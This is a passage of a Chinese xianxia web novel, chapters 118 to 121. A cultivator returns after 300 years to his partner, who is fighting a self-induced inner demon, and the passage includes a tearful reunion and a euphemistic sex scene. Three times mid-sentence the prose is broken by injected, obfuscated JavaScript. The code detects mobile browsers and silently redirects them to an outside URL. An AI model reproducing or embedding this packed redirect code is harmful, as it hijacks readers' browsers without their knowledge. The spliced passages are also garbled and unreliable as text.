离昼微笑着打破沉寂:“境主,舟车劳顿,您先去歇息吧。” 说完若有所思地看了眼姜洛玉的丹田。 和三百年前比起来,离昼整个人清减不少。 姜洛玉刚想点头,只听红楹立马跟着道:“对,境主你看你衣服都皱了,沐浴后快去歇着吧。” “正好我这几百年做出来不少好东西,境主您快去试试。”那伽眨着眼睛,顺手塞给姜洛玉个精巧的金镯,“东西都在里面了,还有说明书。” 垢姬逗弄着趴在肩膀上的小蜘蛛,对着姜洛玉露出个柔柔的笑来:“我等盼了境主三百多年,如今境主回来便好,其他的不必多思。” 姜洛玉戴上金镯,又任由无相球落在自己肩上,玄衣剑缩成巴掌大小挂在腰间,视线扫过其余的众人。 何在夕、凝星还有阿木托都不在,最关键的是……丛明雪也不在。 想起之前在灵植园偶遇的男人,问道:“星姨他们还有阿雪呢?” “到底出了什么事?不然你们为何一直让我去休息?” . 日头渐西,当最后一缕阳光消失在天际,昏暗的密室燃起了一盏巴掌大的油灯。 灯光如豆幽蓝诡谲,在密不透风的空间里却不住地摇曳。灯油味道刺鼻,似乎是由某种动物的油脂炼制而成。 一只惨白毫无血色的手摸上了油灯的灯把,挪动间底座和桌面发出“嘎吱嘎吱”的摩擦声。 灯光照亮了一张同样惨白的脸。 男人俊美的五官盖不住面容的割裂,左眼漆黑,右眼翠绿,就连头发也是半黑半白。 “哗啦——” 伴随着男人不怎么轻柔的动作,唯一的桌案上,堆积如山的宣纸骤然坍塌,如同雪崩般滑落在几乎没有落脚之处的地面。 地面堆叠着的依旧是宣纸,上面的字迹或苍劲有力、或疯癫狂草。 男人愣了几秒,蹲下身捡起了离自己最近的纸张。 “十月二十四。杀千刀的白卅,当初就应该鞭尸,还真让他咒到了。最近脑子越来越不好使,灭心毒干脆改名叫阿尔茨海默症算了,日记不能停。” 男人随手扔掉,又捡了一张。 “四月初三。今早又吐血了,好在我反应及时咽了回去,不过……似乎发现我半夜睡不着不只是因为灭心毒。没关系,反正他现在脑子也不好使。我朝他撒个娇就能混过去了。” 油灯的光源下,黑色的部分逐渐占据了男人右半部分的身体,他再度扔下手里的东西,五官扭曲在了一起。 “哐当”一声,油灯砸在了空地上,火苗卷起地上厚厚的纸张,密室里燃起了幽蓝色的大火。火焰只烧了那些纸,对男人的存在不管不顾。 碎裂的、燃烧的纸张旋转飞舞。 上面的文字也随着火光消散,一点一点……灰烬落在了男人眼里,刹那间浓黑将男人染了个透彻。 就在男人挥手打算灭火时,桌面仅剩的几张完好的纸张飞到了眼前。 118.穿越第一百一十八天 “七月初五。今天秘境里刚化形的小妖过来问我,月饼是什么味道,我想向他描述一番,却发现自己也不记得了。” “也不知道能不能再看见今年十五的月亮。总归不过是块儿月饼,于是我让红姨做了几个送来和那小妖一起分食。” 男人抓了一把,没抓住,沾到火星的纸张瞬间变成了飞灰。 “太阳落山后小妖死了。他是只蜉蝣,又是其中短寿的品种,本就朝生暮死,就算侥幸得道,也不过多了短短六天寿命。” “他来得太晚了。若是化形第一天就来找我,我还能引他突破练气境,可惜今天是最后一天。” “他说他考虑了很久才过来见我,他说我是整个秘境的精怪最喜欢、最崇拜、最尊敬的人,他说生死有命,没准下一世就能托生成长生种。他说……不记得了,脑子真是越来越不好用了。” “我把从冥主那儿偷来没用完的鬼气放在了小妖的魂魄上,希望投胎的时冥主能满足他的愿望。” 纸张上的“死”字刺痛了男人的眼睛,黑色褪去不少,可依旧和左半身的白僵持着。 “八月十五。我活到今年中秋了,不知道还能再活几年。今天大家有意无意德躲着我,我怀疑他们在做什么不可告人的实验,可惜我没有证据。” “……” “这个世界上有很多人爱我,我也爱着他们。” “我不想死。” 火停了。 “啊——!!!” 男人猛地爆发出非人的叫喊,后背涌现出没有实体的黑气,满头青丝瞬间化为银发。 黑气挣扎几下,又不情不愿地缩了回去。 密室内的清洁阵法闪了闪,满地灰烬瞬间消失。 丛明雪跪坐在地面刺破指尖,鎏金的神血砸了下去,溅起金色的水花。 他一笔一划、极其用力地在地面写下了两个字—— “阿玉”。 密密麻麻的名字叠在一起,或大或小、规规矩矩,因为感应到新鲜的神血,逐一浮现出淡淡金光。 目之所及,整间密室写满了“阿玉”。 . “药辛在闭关压制心魔。” 林朝盈给姜洛玉倒了一杯甜滋滋的奶茶,坐到了他对面:“他这些年……我不知道怎么形容,说是心魔,又不太像。” 心魔二字震耳欲聋,姜洛玉呼吸一滞,想起自己交给无相球的那叠“遗书”。 他下意识看向会客厅角落数蘑菇的白三水。 白三水立马否定:“别看我,我真只能确定他是功法出了问题,心魔大概只是托词。” “要论对他功法的了解程度,你应该比我们所有人知道的都多。” 姜洛玉收回视线:“星姨他们三个怎么也没来?” 垢姬趴在会客厅外的树上,幽幽道:“他们正和长风仙君对赌,只要能炼制出让长风仙君死枝枯木逢春的灵液,他就能开放明镜池让药辛进去泡一泡。” 明镜池是春花境出了名的灵泉,能够引人斩断心魔,中途因为滥用无度干涸过一次,还是长风仙君救回来的。 自那之后,灵泉的使用权彻底被长风仙君掌握在了手里。 姜洛玉咬了咬唇,站起身:“阿雪在哪儿闭关?我去外面等他。” “这……”林朝盈求助似的看向迦南月。 迦南月一锤定音:“让玉儿去吧。他待在这儿也不放心。” 林朝盈:“可是我怕……” “药辛连命都愿意给他。”迦南月有些感慨,“就算是心魔缠身也不会伤他的。” 窗侧,离昼放下龟甲,朝着姜洛玉微微点头:“境主,去吧。” “他在宅子西北角的芳菲居闭关。” 西北角的院落不大不小。 姜洛玉看了眼月洞门上写着“芳菲居”的匾,踏了进去。 里面有些荒芜,灵草疯长,似乎很久没人打理过。迎面而来的树杈上,还开着满枝鹅蛋大小的并蒂黄花。 他随手封闭了神界雏形的对外感知,哄走了无相球和玄衣剑,独自坐到游廊的美人靠上,静静地等着里面的人出来。 对面房间的木门紧闭,还笼罩着一层结界。 院子里的花树随风摇摇晃晃,落下的并蒂花砸在了他的肩膀上。 姜洛玉忍不住发散思维。 丛明雪要用上多长时间才能压制住“心魔”?他在仙灵园遇到的人真的不是丛明雪吗?功法到底出了什么…… “吱嘎——” 木门敞开了一条缝隙,门口却没有人。半开的门缝像是在邀请他主动进去一般。 姜洛玉愣了愣,果断推门而入。 门后简易的小厅摆着屈指可数的家具,左侧的房间摆着床,右侧是娱乐室,里面放着琴棋书画之类的东西。 没人。 左耳上的情丝开始发烫,姜洛玉猛地放出神识。 鼻尖多了一丝冷香。 头脑愈发昏沉,彻底晕过去之前,他看见了一抹熟悉的亮银。 再度恢复意识,眼前依旧一片漆黑。 姜洛玉动了动手指,摸到了身下过分柔软的布料。 他能够确定眼前没有遮挡物。意识恍惚一瞬,仿佛回到了灭心毒最严重的那几天。 那时候太阳一落山,若是不动用灵力,他就变得和瞎子没什么区别。 “呼——” 一簇幽蓝的火苗突兀亮起,姜洛玉镇定不少,撑起身子看了过去。 只见火苗照亮了一双再熟悉不过的葱绿色眼睛。 伴随着那双眼睛逐渐靠近,纸张相互挤压的摩擦声涌入耳畔。 很诡异的场景,光源被局限在了那双眼睛附近,别的地方依旧是一片漆黑。 他本能地动了动腿。 “哗啦——” 铁链撞击在一起的脆响拉回姜洛玉的注意力,顺着脚腕摸了一把,触手微凉,是他想的那个东西。 这是…… 他试图思考丛明雪现在的状态,究竟是压制成功,还是被心魔侵占了身躯? 不过无论哪种,都是丛明雪。 “嘘——” 丛明雪把手放在榻上青年的唇间,示意他不要出声,然后轻轻摩挲了一下那颗艳红的小痣。 又是幻觉。 心魔惯用的手段,不过上一次中招还是二十三年前。 或许是他最近懈怠了,让心魔的力量壮大不少,这次的幻境比起之前几次要真实得多,也足够美好。 他的道侣、他的爱人乖巧地待在榻上,撑着身子看着他,没有伤痕累累,也没有满眼恨意。 就是……虽然容貌和记忆里的一般无二,但却无端透出一股濒死的精怪才会流露出来的颓艳。 像是往生河畔的迷蘼花,那种花只有在凋谢前才会盛放到极点,随后顷刻凋零。 如果姜洛玉知道丛明雪在想什么,他一定会掐着神界雏形解释——都是这东西吃了太多神骨,才导致他的气质也受到了阴气影响。 不过姜洛玉不知道。 他们之间没了因果线,又失了道侣契,现在能面对面没发生什么意外都是天道开眼。 丛明雪一把扔了烛台,猛地抱住姜洛玉,力道之大几乎要把人揉进怀里。 头疼得几乎要炸掉,识海里无数记忆形成的乱流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355409|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在冰天雪地里刮起飓风。 烛台里的幽蓝色火苗再度卷起了地上厚厚的宣纸。 恍惚间,丛明雪再度回到了归云海的长夜。 他没能抓住姜洛玉的手,只能眼睁睁看着他一意孤行引来惊世雷劫,最终……碧落黄泉便寻不见。 “对不起……” 他抱着许久未见的“道侣”,像是说给他,也像是说给自己:“是我没能护好你。” “是我不好。” “阿玉……三百零七年,我只在幻觉见了你七面……” 其实次数还能更多,可一旦沉浸在幻觉带来的假象,心魔趁虚而入易如反掌。 他不能败给心魔。 “我得清醒着等你回来。” 那声道歉刺得姜洛玉眼眶一酸,他同样用力回抱住丛明雪,又抓着他的手放在自己脖颈上。 手下的脉搏跳动有力,隔着一层薄薄的皮肉,丛明雪能够清晰地感受到下方奔流的血液。 像是被烫到一般,他收回了手,轻轻推开抱着自己的人。 今天的幻觉格外真实。 姜洛玉一怔,再开口声音哑得不行:“师尊、阿雪……是我,我回来了。” “别哭。”丛明雪立即用手抹去青年脸上的泪,脑海里浮现出两人相处的时光。 记忆在故人离去后,成为了留给未亡人的无形遗物。 “你看清楚,我才不是什么幻觉!”姜洛玉气急,咬了一口放在嘴边的手指。 唇舌触碰到指尖刹那,丛明雪抽回手错愕至极。 以往的幻觉……从未如此鲜活。 对面的青年因为情绪激动,眼尾挂上了两抹薄红。 丛明雪心底冒出一个不可思议的念头——对面人说的,都是真的。 地面的火越烧越大,彻底照亮了整间密室。 姜洛玉挫败地舔了舔被震得生疼的齿根,注意到了火焰里燃烧的宣纸。 白纸黑墨,全都是丛明雪的字迹。 “不可!” 丛明雪一把拦住想要捡起宣纸一探的人。 姜洛玉:“放开!你敢写还怕我看吗?” 两人僵持了几秒,最终腰上的力道卸了下去,连带着脚腕上的锁链也被打开。 姜洛玉顺利下地。 幽蓝诡火除了宣纸什么也烧不了,他弯腰捡起一张又一张,快速扫过上面的内容。 是他的日记。 又不是只是他的日记。 从中毒到毒发的五年时间里,他一共写了五十七篇这样的“日记”。 数量和日记的本质背道而驰,重在参与。 而在他死后三百年的岁月里,有人捧着这堆纸,将它们抄录了一遍又一遍,在旁边写满了密密麻麻的批注。 呕心沥血。 四月初三。 “我知道你吐血了。那日你对我笑的时候,牙上还挂着血沫,难得犯傻。” “我更傻。” “我信了你的谎话。” 七月初五。 “月饼是我做的。不过送过去的时候你恰好副作用发作,五感失了一半儿,把我当成了红姨。 “我们一起送走了那只蜉蝣妖。” “我救不了他,也没救下你。” 八月十五。 “我们没有躲着你。是你因为丹药的副作用变成了幼童心性,靠着秘境之主的身份躲过了大家。” “找了快一天,你才从藏身的地方出来。恢复正常后又忘了那段经历……” “……” “我爱你。” “我会替你去死。你只需要健康、快乐的活下去。” 119.穿越第一百一十九天 “火……快灭火!” 姜洛玉痛到几乎要喘不上气来,全身都在疼,那些文字让他耳畔嗡鸣不断。 拍打纸张时冰凉的火焰沾到皮肤,就像是碰到了青松上的蓬松积雪。 可无论他用何种方法,水浇土埋……那些火依旧毫不留情地卷起剩余的宣纸,越烧越旺。 丛明雪也没过来。 焦糊味儿包裹住整个鼻腔,姜洛玉后知后觉自己整个人已然置身火海。 但火焰不知为何没有将他吞没,而是顾忌着什么一样,把他圈了起来。 只余下怀里紧紧抱着的一堆淡黄的宣纸完好无损。 “……没什么好看的。” 略显沙哑的声音响起,丛明雪捂住了他的眼睛,又试图抽走他怀里的东西。 姜洛玉执拗地护住,眼眶在黑暗里酸得不行,偏偏流不出泪:“我偏要看。” 说话间,幽蓝色的火苗似乎得到了允许,开始顺着两人的衣角,朝姜洛玉怀中的宣纸爬去。 “你到底……写了多少遍?” 姜洛玉询问的声音不大不小,滞涩又生硬。他已经失去了大声说话的力气。 火舌蔓延到了两人腰间。 他转身看着丛明雪的脸,盯着他的眼睛,试图从里面看出什么。 “没有很多。”丛明雪实话实说。 “一天一遍而已。” 姜洛玉试图思考。这几个字说的太过轻松,仿佛一天一遍的抄录和呼吸一样简单。 可他们分开了三百零七年,十一万多个日夜。 丛明雪撩起对面人遮住视线的发丝,语气格外认真,一字一顿:“你回来了,我现在不需要它们了。” 姜洛玉抱着那堆信纸的力道紧了又紧,最后……松开了手。 “哗啦——” 仅剩的几张被兴奋的幽火吞噬。 他一把抱住丛明雪,眼泪像断了线的珠子,从恢复记忆起一直压抑在心底的情绪终于如洪水决堤。 “对不起,对不起对不起……”他不知道该说什么,只好一个劲儿的道歉,“我不知道日记混在留给你们的信里,我忘了……我记不清……我想把它们烧掉的……” “我没想过会忘记的,师尊、我不想忘的……” 那些夹杂着过多痛苦的文字应该死在烈火焚烧里,而不是留给丛明雪,留给他的师尊、他的道侣。 让他自己一个人在暗无天日的密室里反复咀嚼,写下得不到答复的回应。 三百年太长了。 “我知道。” 丛明雪用恰到好处的力度回抱住姜洛玉,调整了肩膀的角度,好让对方能够自如呼吸,一下又一下拍着他的后背,重复着:“我都知道。” 是他发现的太晚了。 当初忙于四处奔波寻找解毒的东西,便对姜洛玉的情况有所忽略,再加上承担了一部分灭心毒,更是让他得分出更多精力对抗毒药的副作用。 他早该发现的。 熟悉的冷香环绕在身侧,在一声声安抚下,姜洛玉逐渐从崩溃的情绪中抽离,呼吸也跟着平稳下去。 见人不再哭了,丛明雪捧起姜洛玉的脸,细细擦去上面尚未干涸的泪。 滚烫的吻从眉心一路下滑,从最开始的隐忍克制,逐渐变成了没有过的疯狂。 太凶了。 姜洛玉舌根发麻,眼角又渗出了一点泪,整个人颤了颤,生出要被吞吃下去的荒谬感。 那一点将落未落的眼泪被人快速蹭了下去,却没给他半点喘息的机会。或许是因为太久没能亲近,如今被久违的熟悉气息裹挟着,仅是一个简单的“抚”,都让他瞬间起了反应。 幽火越烧越旺,从他们身上褪下开始爬上墙壁。 隐约感受到什么,落在软榻上后,姜洛玉艰难睁眼朝丛明雪身后看去,瞥见了一点金光 丛明雪不动声色地挡住了床上人的视线,眨眼间脱下外衣。 腰间一松,姜洛玉的注意力转移到了丛明雪身上,这么一看,居然瞧见对面人银白的发梢染上了几抹漆黑。 他撑起身子,抬手抓向那缕银发:“怎么变黑了?是因为心——” 黑暗再临。 丛明雪挥灭了张牙舞爪的火,在黑暗里凑到姜洛玉耳畔轻声道:“阿玉。” 密室里设置了阵法,不用上特殊的口诀无法视物,就连神识也无法自由活动。本来是他用来心无杂念的对抗心魔的,如今……反倒成了他用来遮掩丑态的工具。 叫嚣的心魔趁他松懈的时候冲破了识海的囚笼,正在冰天雪地里寻找操控身躯的办法。 丛明雪知道,他应该去立马压制。 可他如今能清晰看见青年眼里的茫然,还有面颊上因为情动染上的淡粉。特别是唇上,那颗和刚才比起来明显红了不少的痣,像是羽毛擦过水面,泛起了一阵涟漪。 这一刻的姜洛玉无可辩驳地安静、乖顺,甚至带着一丝少见的脆弱。又像是枝头熟透的果子,薄薄的外皮下满是丰盈的果肉,等待着外人采撷时流淌出清甜又粘腻的汁水。 “阿玉。”他忍不住又唤了一声,这次的声音比起刚才要低上不少,说完用鼻尖蹭了蹭姜洛玉的脖颈。 姜洛玉侧了侧脑袋:“我在。” 久违的极致黑暗让他有些不适,但丛明雪身上的气息又让他格外安心。 但刚才那两声明显压抑着什么的呼唤和鼻尖的动作,刺激得他忍不住又抖了抖。 “咔哒”一声,有什么东西被打开了,他嗅到了一缕甜腻的香气。 是他喜欢的味道。 潮湿、粘腻都被闷在了薄薄的寝被里。 热度逐渐涌了上来,黑暗让其他感官无限放大,姜洛玉刚开始还能应对的游刃有余,可当一切即将到达顶点时,刹那的落空让他溃不成军。 “师尊、阿雪……”他胡乱叫着丛明雪,理智被无形的火焰灼烧,宛跌落云间。 丛明雪摸了摸那张带着些许热汗的脸,黑漆漆的眸子里泛着泪。注意到呼吸间若隐若现的一点舌尖,于是附身下去交换了一个绵长的吻。 两人发丝交叠,黑白双色混杂在一起,你中有我,我中有你。 姜洛玉彻底说不出话了,像一只被困在浮萍上的青蛙。豆大的雨滴砸在身上,想跳入水中,却发现浮萍不知何时成了精,捆住他的四肢想邀请他一起欣赏这场倾盆大雨。 他只能选择被迫承受这场蛙生里从没经历过的极端天气。随着浮萍起起伏伏,恍惚间自己也化成了一滩水,无论什么东西落进去都能轻松容纳,偶尔还会被雨滴砸出小小的水花。 不知道过了多久,姜洛玉睁眼的时候迷迷糊糊间对上了密室的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363654|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙壁。 “阿玉阿玉阿玉阿玉阿玉……” 满墙都是他的名字,重叠在一起没有丝毫缝隙。鎏金的字迹一点一点,越来越亮。 姜洛后背升起一丝莫名的凉意。 下一刻,他意识到凉意不是错觉,丛明雪放在他背上的手温度低了不少。 这一点细微的温差在这种状态下尤为明显—— “阿玉。” 身后的声音和面前的字迹重叠,他连忙道:“等、停一下。” 黑暗里,他回手抓住丛明雪头发扯了扯,就像是曾经很多次做过的那样。 接下来的一切有些超出姜洛玉的预料。 对方似乎恨不得将他嚼碎了揉进骨血,他根本没法思考这满墙的名字和突然下降的体温到底是怎么回事。 再次醒来,依旧是一片黑暗。 不过熟悉的气息就在身前,姜洛玉动了动,浑身酸疼,哑着嗓子道:“水……” 话音未落,微凉的杯口就贴到了唇边。 他摸索着捧起茶杯一饮而尽,足足喝了三大杯才觉得活了过来。 姜洛玉掏出了照明法器。 和茶杯温度没什么区别的手握住了他的手腕,似乎在无声拒绝即将到来的光亮。 姜洛玉回握过去:“我想看看你。” “我现在,很丑。” 没什么起伏,甚至有些冷漠的声音在黑暗里响起,可姜洛玉却能从中听出来一点委屈。 他顺着衣袖一路摸到了丛明雪的脸。 如同盲人摸象般,他摸了摸依旧高耸的鼻梁,眼眶以及唇珠,哄道:“又没有嘴歪眼斜,怎么会丑?” 对面的人沉默着一言不发,似乎在思考怎么说服自己。 他把法器塞到丛明雪手里,捧着他的下半张脸在唇上亲了一口:“师尊,你就算变成蟑螂我也喜欢你。” 不过话说回来,他们其中一世轮回……还真投成过类似的虫子。 依旧没人回话。 姜洛玉:“难不成我变丑了你就不喜欢我了吗?” “不会。” “唰——” 法器没亮,一簇蓝色的火苗荡漾在两人之间。 黑绿的异色双瞳最先闯入视线,紧接着是半黑半白的头发,五官没有任何变化。 “哪里丑了?”姜洛玉凑过去,挽起一缕发丝放在手心把玩了两下。 丛明雪眨了眨眼睛,脸上没什么表情,蓦地又浮现出一丝疑惑:“你说过……最喜欢我这一头银发。” 既然喜欢的是银发,他变了样子……大概就不喜欢了。 是这样的。 “我什么时候……”话说一半儿,姜洛玉猛地想起自己确实说过。 不过那时他才七岁,刚入落雪峰,跟在丛明雪屁股后面每天“师尊”来“师尊”去,还会趁着丛明雪打坐,蹲在他身边把玩蜿蜒在地面的银白长发。 姜洛玉满眼心疼地看着那半黑半白的头发:“你这副模样是因为心魔吗?” “是。”丛明雪点头,发现姜洛玉确实没对他这副不人不鬼的样子表现出嫌恶。 所以,对方真的还喜欢…… 识海猛地一阵恍惚,他看见了冰天雪地里搏杀的两团雾气,一时间有些不知身处何地。 “那你的心魔……是因为我吗?” 120.穿越第一百二十天 “砰!”的一声,黑色雾气狼狈地砸进雪堆,融化成了一滩黑水。 覆盖了皑皑白雪的荒原上,黑水四以惊人的速度蔓延开来,像是一株枯树。 几乎无边无际的荒原被温和的暖阳照耀着,接近地表的位置流动着薄薄的雾气。 黑水挣扎了几下,汇聚成了融化一半的人形,几乎全身上下一半儿的骨骼暴露在冰雪里,顷刻间凝结了一层冰霜。 男人浑身漆黑,表情也冷得像地面的雪。 可那冷漠没有维持多久,很快就被一股骇人的阴翳取代。 心魔随手掰断最下方的肋骨,在雪地上画了几个阵法加快肉身的恢复速度:“你有本事就把我放出去。” 原本即将离开识海的白雾停滞了一瞬,汇成银发青眼的神君。 丛明雪打量着心魔的丑态,淡淡道:“你连道意都打不过,为何还要挑衅于我?” 心魔狂妄的表情一僵:“……” 丛明雪继续道:“我不杀你,不是因为不想。若是有一天能找到将你与道意分离的办法,我必然将你斩落识海熔渊。” 识海熔渊,每一个修士识海里都会存在的地方,是处流淌着岩浆的断崖,专门用来供本体斩断心魔的地方。往往等到心魔出现,熔渊才会在识海里显现出来。 丛明雪识海里的熔渊在北部,如今他与心魔的位置在西部,但稍微一抬头就能看见熔渊散发出来的火光将惨白的天际烧出一道漂亮的色彩。 心魔:“你管我做什么,你不照样拿道义没办法?” 丛明雪没有说话,眸中划过一丝暗光。 “放我出去见他。”心魔侧头咳出一口血,没头没尾道,“我会告诉你想要的东西。” 这个“他”,自然是姜洛玉,而想要的东西…… 丛明雪毫不犹豫:“做梦,我不需要你的谎话。” 心魔:“虚伪!你我记忆共通本为一体,我不过是你的反面。你等了三百年我就等了他三百年,现在人回来了凭什么不让我见他?!道侣契可是打在神魂上——” 丛明雪掐住了心魔的脖子,力道之大让心魔堪堪长好的头骨和脖子的脊柱再度分家,冷冷道:“再说一个字,我就放你进熔渊走一遭。” “你不过是一堆垃圾,骗骗我就罢了,别再把自己骗过去。” 心魔差点没咬碎一口银牙,本体不斩他,那熔渊对他来说就是个死不了的受刑地。 看清丛明雪眼底的戾气,他嘲讽一笑:“说我是垃圾?你还不是被个垃圾影响到了本体?” “你逃不掉的,我就是你,就算你杀了我,这些久违的‘垃圾’也会如影随形缠着你。什么大道、未来——” 对面的人影消失了,心魔如同死狗一般趴在地上,过了半天才操控着积雪托起自己半残的身体,一路飘到了荒原正中心的祭台上。 识海显化的世界大多数来源于修士内心最深刻的记忆,心魔第一次诞生的时候想了半天,想理解本体的识海为什么会是一片寡淡的雪原,最后只得归结于化形那天山里刚好下了一场大雪。 祭台的原型来自于万妖窟,它的出现倒是很好理解,毕竟那里的惨状就连心魔想起来也觉得唏嘘。 他按上祭台中央的阵眼,微弱的金光顺着法阵的纹路一闪而过,里面缓缓飘起了粉色的记忆光球。 一个、两个……无数光球飞出,成为了素白里唯一的亮色。 心魔神色一喜,激动的伸出手—— 尚未长出血肉的骨骼穿过了光球,青年恬静的睡颜在脑中一闪而过,他什么也没留住。 霎时间怒火攻心,雪花飞散,心魔摔在祭台上咯出一大口血。 凭什么?凭什么本体断了他们之间的联系,凭什么封了关于姜洛玉的绝大部分记忆,又凭什么不封掉他对他的爱意? 强烈的恨与爱交织在一起,血和雪混杂变成了流淌的河。 “凭什么……”心魔捂住脸喃喃自语,“凭什么不让我见他……凭什么?!” 祭台上,初具人形的男人后背猛地钻出数道黑雾,四散开来捞回飘荡在雪原上的粉色光球。 心魔托着黑雾,望着被裹在中间的记忆,漆黑的眼里夹杂着疯狂,衬得那张俊美的脸变得略显可怖。 “阿玉……” 他喊着,语气迷恋。 “阿玉。” 肉身再度融化,挣扎撕扯间脊柱磕碰到了祭台上的纹路,那些黑水顺着花纹一路奔向雪地,黑红交织在一起,宛如逆向生长的植物根系。 . 密室内,姜洛玉问完问题,就见对面的人影晃了晃,紧接着那头半黑半白的头发上黑色逐渐褪去。 他一把扶住丛明雪,惊呼:“阿雪!” “我没事。”丛明雪安抚道,回答了关于心魔的问题:“是也不是。” 完全掌控肉身的感觉很舒适,他态度强硬地把光着脚的道侣抱回榻上,摸出芥子里一直备着的法衣,开始给姜洛玉穿衣服。 光滑笔直的小腿上印着星星点点的红蕊,再向上……就变成了密集的青紫。 这些年事后一直都是丛明雪帮他穿衣服,大多数时间姜洛玉都是半梦半醒的状态,像今天这么清醒,还在幽蓝焰火下显得格外诡异的状态,让他心跳得有些快。 浸满了冷香的衣服穿在身上,就像是整个人被丛明雪抱住一样。 “当初我将剩下的情丝给了你,是想让它跟在你身边,让你我再续前缘。”丛明雪规规矩矩地替人穿着衣服,末了似是而非地在脚腕上摩挲了一下。 “不曾想却加速了功法抽离情绪的速度。” 姜洛玉一怔,可是除却刚才被心魔影响有些奇怪之外,现在的丛明雪很正常。 丛明雪:“一旦不管不顾任由功法施为,抽去我这些年间积攒的所有情绪,下一次释放出去的时间、契机,又或是究竟能否释放都成了未知数。” 真到了那个地步,他会记得两人之间发生的所有事,喜也好怒也罢,全都完好无损的摆在识海里。 他知道他爱他。 可他不会主动拥抱他。 最后一件外衣穿好,丛明雪刺破指尖,低头执起青年的手,在掌心用神血写下了“阿玉”两个字。 “你……”姜洛玉看见那两个字有些耳热,这才想起来晕过去前看见的满墙名字。 丛明雪:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368044|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想失去你带给我的所有情绪,喜怒哀惧……爱、欲。” “我怕等你回来,无法第一时间拥抱你。” 他舍不得姜洛玉因为他受到一点委屈。 吻落在了染血的掌心,姜洛玉只觉得手上仿佛捧了一团火。 下一秒,神血汇聚的文字凭空而起,贴在了对面的墙上,几秒过后满墙的名字再度亮起。 “到底什么叫做‘是也不是’?”姜洛玉攥紧了拳头。 丛明雪:“‘是’是因为我的确因为你的离去情绪失控,那些激烈的情绪与《天剑诀》背道而驰,为心魔的出现培育了沃土。” “‘不是’是因为……心魔是我主动催生的。” 姜洛玉惊得瞳孔地震:“你怎么也这么胡来?!旁的修士对心魔避之不及,你怎么……还主动催生?” 丛明雪:“只有心魔才能和《天剑诀》的道义抗衡。” 良久的沉默。 丛明雪轻叹了一声,揉了揉自家道侣顺滑的发丝:“别担心,一切都在我掌控之中。” 姜洛玉:“我是怎么过来密室的,道义又是什么,我刚才在仙灵园见到的人究竟是不是你?” 问题有些多,像连珠炮一般问了出去。 丛明雪耐心地一个个回复:“那时心魔作祟,妄图抢夺身体的控制权,恍惚间我误以为你是幻觉。但心魔知道你不是,于是便趁机迷晕你带进了密室,等我再度恢复意识,就在密室看见了你。” “至于道义,你可将它看作心魔的一部分,在我身上表现出来的,便是三种同根同源、却又不尽相同的性格。” “如今若无特殊情况,我白日里大多数时间都会以道义附身的状态示人,情绪内敛,起伏微弱。心魔附身便是刚才的模样,神智没那么清醒,我这一身染为全黑,便代表被心魔彻底控制了肉身。” 姜洛玉:“那仙灵园呢?” 丛明雪沉默一瞬,道:“仙灵园你见到的是道义,它认得你,却不会为你多做停留。” 想起道义眼中的淡漠,姜洛玉扯了扯丛明雪的袖子,对他无声说出了两个字——“天道”。 丛明雪瞳孔颤了颤,点了点头,明白了姜洛玉的言下之意。 天道已经出问题了。 “对了,耳坠。”姜洛玉不动声色的转移了话题,想要摘下左耳的情丝,“你说这东西能让我们两个再续前缘?该怎么做?” 摘不下来。 丛明雪表情有些不自然,道:“你要把它种在我的识海里。” 姜洛玉:“……?” 情丝又不是大白菜,居然还能种吗? “那事不宜迟我们现在就开始?”他戳了戳对面人结实的胸肌。 想起识海里不成人形的心魔,丛明雪蹙了蹙眉,决定这几天先让心魔休整一番,于是道:“再等等,心魔最近不太安分,需要再压制一番。” 姜洛玉“嗯”了一声,丹田猛地一动。 “救命——” 面临即将消亡的生死危机,神界雏形拼尽力气冲破了姜洛玉的封锁,有气无力的喊着。 “我要……饿死了。” 姜洛玉:“……!” 121.穿越第一百一十二天 整整一个月。 如今,神界雏形终于再度和外界建立起了联系! 来不及喜极而泣,嗅到近在咫尺的神血气息,它直接化成两根干巴巴的生姜苗从姜洛玉的脊骨钻出,朝丛明雪飞去! “你疯了,天材地宝不够你吃吗?!”姜洛玉瞬间明白神界雏形打的什么注意,黑脸拽住生姜苗,拿着丛明雪的芥子开始掏天材地宝,一股脑儿塞进丹田。 这些东西不过是杯水车薪。神界雏形在这一个月里,早就被魔神遗骨养刁了胃口,根本不屑于消化那些小虾米。 食欲与服从命令的念头来回打架,可闻见丛明雪尚未完全复原的伤口透出的血腥,神界雏形整条生姜苗开始逐渐过渡到红色。 一人一雏形开始了一场拉锯战。 丛明雪看着格外“灵动”、顶端还裂开几道口子的生姜苗,诧异道:“这到底是个什么东西?” 